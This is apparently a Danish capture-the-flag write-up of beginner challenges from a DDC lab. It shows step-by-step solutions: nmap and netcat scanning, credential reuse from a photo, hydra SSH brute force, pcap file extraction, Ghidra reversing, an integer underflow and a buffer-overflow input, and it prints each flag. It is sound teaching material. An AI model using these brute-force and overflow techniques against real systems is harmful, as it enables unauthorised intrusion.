I “Eye of GNOME” (eog), åbner vi egenskaber for billedet og klikker rundt og læser om der skulle stå noget interessant meta-data om billedet. Under “Details” ses det at photoshop:AuthorsPosition er sat til DDC{kn0w_wh47_d474_y0u_l34k}.

Faktisk kunne vi også finde flaget, blot ved at bruge strings på billedet og greppe efter “DDC”.

$ strings billede.jpeg | egrep -o "DDC{.*}"
DDC{kn0w_wh47_d474_y0u_l34k}

Flag: DDC{kn0w_wh47_d474_y0u_l34k}

Nyan The Netcat

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

Scan netværket se, hvad du finder. Men pas på! Net-katte og festpapegøjer lurer måske!

Vi finder vores IP addresse og scanner hele subnettet med nmap.

$ ip a
--- afkortet ---
# IP: 77.218.111.4/24

$ nmap 77.218.111.0/24

Nmap scan report for 77.218.111.2
Host is up (0.00053s latency).
All 1000 scanned ports on 77.218.111.2 are closed

Nmap scan report for 77.218.111.3
Host is up (0.00056s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
53/tcp open  domain

Nmap scan report for 77.218.111.4
Host is up (0.00060s latency).
All 1000 scanned ports on 77.218.111.4 are closed

Nmap scan report for 77.218.111.33
Host is up (0.00058s latency).
All 1000 scanned ports on 77.218.111.33 are closed

Nmap scan report for 77.218.111.70
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
4242/tcp open  vrml-multi-use

Nmap scan report for 77.218.111.111
Host is up (0.00043s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
6969/tcp open  acmsoda

Nmap scan report for 77.218.111.139
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
4444/tcp open  krb524

Naturligvis forsøger vi at se hvad der er på de åbne porte.

Vi er stødt på en af de vilde net-katte, som opgaven advarede om, og der er intet flag at komme efter.

Port 6969 og 4242 giver det samme output, på de to maskiner de kører på.

Hvis jeg ikke tager meget fejl er .2 maskinen en del af haaukins, .3 DNS, igen tilhørende miljøet og .4 mig selv. Dog er der stadig .33 som står tændt, men vi ikke fandt nogle åbne porte på… Men nmap kører også kun de 1000 mest brugte porte, hvis man ikke specificerer andet. Vi scanner maskinen igen, denne gang med alle portene.

$ nmap 77.218.111.33 -p-

Nmap scan report for 77.218.111.33
Host is up (0.00017s latency).
Not shown: 65534 closed ports
PORT    STATE SERVICE
420/tcp open  smpte

# vi forsøger igen med netcat.
$ nc 77.218.111.33 420

+-----------------------------------------------------------------+
|Well done young one! Here is your Flag DDC{ny4n_ny4n_ny4n_n37c47}|
+-----------------------------------------------------------------+
       \
        \     ▄▄▄▄▄▄▄▄
         \  ▄ ▄      ▄▄ ▄
          ▄ ▄            ▄
          ▄      ▄▄▄▄▄    
         ▄               ▄ ▄
        ▄                   
                 ▄          
                  ▄ ▄       
         ▄        ▄ ▄      ▄▄ ▄
          ▄                   ▄▄ ▄
          ▄ ▄▄▄▄                 ▄▄ ▄
              ▄▄▄▄                  ▄▄ 
        ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

Flag: DDC{ny4n_ny4n_ny4n_n37c47}

Rona aka ..

Sværhedsgrad: Meget Let
Haaukins API: Ja
Beskrivelse:

Gå til http://friendspace.hkn Rona aka SARS-CoV-2 aka COVID19 har gjort vores hjemme arbejdsplads meget interessante!

Vi har allerede en bruger herinde, fra “The Artist” opgaven, som kører på samme instans.

Ved at scrolle lidt ned gennem tidslinjen, ses det at “Jens RealJens” har postet et billede af sin computer, nu hvor han arbejder hjemmefra. Derudover er der sat en gul post-it på comptueren, og de der deltog ved DDC2021, vil have lært, at man skal se godt efter på billeder, da de kan indeholde mange hints til flag…

Det kunne godt lige SSH credentials, men efter at have forsøgt det, viser det sig at hverken fs.hkn eller friendspace.hkn har åbent for port 22 (SSH).

I stedet prøver vi at logge direkte på friendspace, med disse credentials (pass: SOCIALDDC2022).

Det virkede! Efter vi er logget ind, ses det at Jens er venner med bl.a. Linus Torvalds (grundlæggeren af Linux). Klikker vi ind på hans profil, kan vi se et par opslag han har lavet, og ikke så meget andet…

Dog kan vi også chatte med ham, hvor vi finder noget interessant.

Flag: DDC{w3_607_4_cr3d3n714l_l34k_0v3r_h3r3}

Forensics

Yes or No

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

En klog tilgang til social engineering er altid væsentlig eller ej? Måske giver brute force alt hvad vi har brug for. Lad os se, om du kan logge ind med brugernavnet admin på SSH-serveren på domænet http://sshbrute.com

Efter at have forsøgt at logge ind, kommer følgende beked:

$ ssh admin@sshbrute.com

 _____ _____ _   _ _                _   ___   _____________  ___  _           _ 
▂▃▅▆▇█ y █ e █ s █   █ o █ r █   █ n █ o █▇▆▅▃▂


You can always answer questions with “Yes” or “No”.
And everything consists of two puzzles.
Maybe all data can be identified with two special things like in the digital computers.
Some passwords consist of only these two puzzles, like yes or no.
Maybe it is sensible to try 8 long passwords with these two puzzles. 

Dette kunne godt tyde på at kodeordet består af hhv. 0 og 1, og er 8 karakterer langt.

Vi genererer en liste med alle de mulige passwords i Python.

$ python -c "for i in range(2**8): print(format(i, 'b').zfill(8))" > kodeord.txt

Nu mangler vi blot at brute-force det rigtige kodeord, dette gøres med hydra.

$ hydra -l admin -P kodeord.txt ssh://sshbrute.com
--- afkortet ---
[22][ssh] host: sshbrute.com   login: admin   password: 10011010
1 of 1 target successfully completed, 1 valid password found
--- afkortet ---

Vi logger ind med kodeordet 10011010.

$ ssh admin@sshbrute.com
__        __   _                          
\ \      / /__| | ___ ___  _ __ ___   ___ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
  \ V  V /  __/ | (_| (_) | | | | | |  __/
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Congratulations, here's a flag for you:

DDC{b1nARy153V3ryWh3r3}

Flag: DDC{b1nARy153V3ryWh3r3}

Meta

Sværhedsgrad: Meget Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

Vi har modtaget et billede fra vores agent. Han siger, at der er en hemmelighed gemt inde i den. Kan du finde det?

Noget siger mig at denne opgave har med metadata at gøre, så vi kan åbne billedet i en viewer, som kan vise noget af al denne info (f.eks. GIMP), eller blot forsøge at køre strings og greppe efter flaget.

$ strings meta.png | egrep -o "DDC{.*}"
DDC{h1dd3n_1n_m3tad4t4}

flag: DDC{h1dd3n_1n_m3tad4t4}

Super Secure Vault 9001

Sværhedsgrad: Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

Vi har modtaget en alarm fra vores monitoring system og har brug for, du kigger vores netværkslogs igennem. Alarmen blev sendt fra vores “Super Secure Vault 9001” system, hvor jeg opbevarer alle mine topfortrolige dokumenter. Sandsynligheden for et reelt breach på et så sikkert system er naturligvis mikroskopisk, men hvis du alligevel finder noget, rapporterer du selvfølgelig direkte tilbage til mig UDEN selv at snuse mere rundt!

– Lone Skum, CEO ClosedML

Vi åbner .pcap-filen i Wireshark, og ser straks at der er en masse HTTP traffik, hvilket betyder at vi kan læse præcis hvad der er foregået, da det er ukrypteret.

Man kan følge en bestemt stream, ved at højreklikke på en pakke og vælge Follow > TCP Stream (Ctrl + Alt + Shift + T).

Efter at have rodet lidt rundt med filen, støder man på fortrolig.pdf, som bliver hentet ned til klienten.

Ved at vælge File > Export Objects > HTTP... kan man se alle filerne som er blevet overført, og endda regenerere dem. Til sidst får vi genereret denne fil, i hvilken flaget står.

Flag: DDC{1ng3n_får_adg4n6_t1l_m1n_sup3r_s3cur3_v4ul7_9001!}

Reverse Engineering

Password Checker

Sværhedsgrad: Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

Jeg har sikret mit program med et password, så kun jeg kan bruge det! Kan du gætte mit password og skaffe dig adgang?

Som en lille disclaimer, må jeg advare om at jeg er virkelig dårlig til reversing opgaver - vil gerne blive bedre, men for nu forstår jeg ikke meget af de mange assembly instruktioner…

Jeg startede med at bruge både gdb og r2, samt at se en masse videoer af simpel reversing, da opgaven står som “let” tænkte jeg at det måtte kunne lade sig gøre. Jeg formåede da også at ændre i nogle registre, sådan at koden hoppede til hvor jeg vandt, men det gav ikke meget, da flaget er selve kodeordet.

Efter noget tid kom jeg i tanker om denne video, med John Hammond, som jeg har set for efterhånden lang tid siden.

I videoen viser han hvordan man bruger angr, til at reverse en binary, i en mere brute-force stil. Straks tænkte jeg at det må være min løsning, da jeg ingen ide har om hvad flaget er.

I samme video, starter han med at vise, hvordan han bruger ghidra, til at reverse den binære fil. Så jeg får hurtigt installeret java, samt ghidra, og kører det straks op, for at analysere funktionen check_password.

Jeg vil klart anbefale dig at se videoen, ikke mindst da angr faktisk også er et interessant tool til at løse reversing opgaver med. Derudover kan det være rart at få en gennemgang af hvordan ghidra virker, hvis du aldrig har prøvet det før.

ghidra reverser check_password til følgende:

_Bool check_password(char *pwd) {
    int i;
    _Bool correct;

    correct = true;
    for (i = 0; i < 0x35; i = i + 1) {
        if (pwd[i] != (char)(masked[i] + -0x42)) {
            correct = false;
        }
    }
    return correct;
}

Flaget har altså en længde på 0x35 = 53, og kan findes i variblen masked.

Hopper vi i ghidra til masked, finder vi en lang liste af tal, dette giver også mening, da vi i check_password, skal trække 0x42 = 66 fra hvert element. I sidste ende skal dette konverteres til en char, for rent faktisk at blive til karakterer.

Til min store glæde kan ghidra exportere til en python liste, hvilket jeg selvfølgelig gjorde, hvorefter jeg følte mig klart mere på hjemmebane.

masked = [ 0x86, 0x86, 0x85, 0xbd, 0xaf, 0x76, 0xb5, 0xad, 0x73, 0xb0, 0xa9, 0xa1,
0xaf, 0xbb, 0xa1, 0xb2, 0x76, 0xb5, 0xb5, 0xb9, 0x72, 0xb4, 0xa6, 0xa1, 0x77, 0xaa,
0x72, 0xb7, 0xae, 0xa6, 0xa1, 0xa4, 0x75, 0xa1, 0xa9, 0x72, 0x72, 0xa6, 0xa1, 0x75,
0xb0, 0x72, 0xb7, 0xa9, 0xaa, 0xa1, 0xb4, 0x73, 0xa9, 0xaa, 0xb6, 0x81, 0xbf ]

flag = ''.join([chr(i - 0x42) for i in masked])

print(flag)

$ python ./reverse.py
DDC{m4sk1ng_my_p4ssw0rd_5h0uld_b3_g00d_3n0ugh_r1ght?}

Flag: DDC{m4sk1ng_my_p4ssw0rd_5h0uld_b3_g00d_3n0ugh_r1ght?}

Binary Exploitation

Intmonster

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

For at komme forbi denne udfordring du skal tilgå et spil på nc Intmonster.hkn 9000 I dette spil skal du besejre monsteret, der vogter flaget. Spillet går fremad i runder, hvor du kan lave et træk og monsteret angriber dig.

Både du og monsteret starter spillet med 90 livs point. For hver runde af spillet kan du enten:

Angribe monsteret
Drikke eliksirer (du har 5)
Drikke gift

Den sidste mulighed er lidt fjollet, der er ingen god grund til at ville forgifte dig selv, du kan kun reducere din egen livs point på den måde.

$ nc intmonster.hkn 9000
Welcome to the unwinnable monster attack game 
An attack delivers 10 health points of damage, and drinking a potion wins you back 5. 
But be aware! The monster delivers 15 points of damage in each round 
You can also drink poison if you want to, which you can drink an unlimited amount of, but it will kill you 
            _.------._ 
          /           \ 
          |  O    O    |   
          |  .vvvvv.   |  
          |  |     |   |    
          |  .^^^^^.   |
          |____________|
________________________________________________ 
        |    Round 1    | 
        |You    |Monster | 
Health  |   90  |   90   | 
Potions |    5  |        | 

 - Your options are: 
 1. To attack monster 
 2. Drink potions 
 3. Drink poison

Ud fra opgavebeskrivelsen, giver det mening at se på metoden, som bruges til at drikke gift. Formentlig kan vi enten drikke en negativ mængde gift, eller vi kan drikke så meget, at vi fremprovokerer et integer underflow.

Efter at forsøge at drikke -1 gift, melder programmet at vi ikke kan drikke “så meget” gift. I stedet forsøger vi at drikke mere gift, end vi har HP (pt. 90).

Efter at fedte lidt rundt med programmet, viser det sig hurtigt, at HP (Health) er defineret som en 8-bit signed int. Det betyder at den kan have en værdi mellem -128 og 127.

Derudover skal vores værdi kunne antage 0, hvilket gør at grænserne for værdien er. -128 og 127.

Vi kan derfor hurtigt regne ud, hvor meget vi gift vi skal drikke, for at få max-HP:

Efter at have angrebet monsteret nok gange (og drukket gift ind i mellem når mit HP for var lavt), får vi følgende besked frem:

-KAPOW!, monster hit with attack! 
You beat the mosnter, and your flag is: DDC{j8oZfWrouvq9}

Flag: DDC{j8oZfWrouvq9}

Grocery Shopper

Sværhedsgrad: Meget Let
Haaukins API: Nej
Beskrivelse:

Den nye Covid-19-bølge har ramt os! Nu skal du bestille dine dagligvarer online, heldigvis har din lokale købmand netop udviklet et CLI-værktøj til bestilling! Få adgang til det via nc groceryshopper.hkn 9000

$ nc groceryshopper.hkn 9000
Welcome to the local grocery store ordering system
Due to Covid-19 we will prefer we have less people in our stores, to minimize the spread of the Covid-19 Virus

Enter your name: John
Enter your address: Kastanjevej 999
Enter EAN number: 123-456-789
Enter amount to order: 9001

You ordered 9001 packages of the EAN #

Thank you for ordering from your local grocery store!
We will have your groceries delivered as soon as possible to the following recepient and address:
John
Kastanjevej 999

Vi har altså 4 forskellige parametre at pille ved, når vi skal forsøge at exploite dette program.

Til at starte med forsøgte jeg at bruge format string exploit. Dette gav ikke noget resultat, derefter forsøgte jeg mig med et buffer overflow, hvilket gav følgende resultat:

$ python -c 'for _ in range(4): print("A"*50)' | nc groceryshopper.hkn 9000
Welcome to the local grocery store ordering system
Due to Covid-19 we will prefer we have less people in our stores, to minimize the spread of the Covid-19 Virus

Enter your name: Enter your address: Enter EAN number: Enter amount to order: 
You ordered AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA packages of the EAN #DDC{C0v1D-5h0pp3R}

Thank you for ordering from your local grocery store!
We will have your groceries delivered as soon as possible to the following recepient and address:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Flag: DDC{C0v1D-5h0pp3R}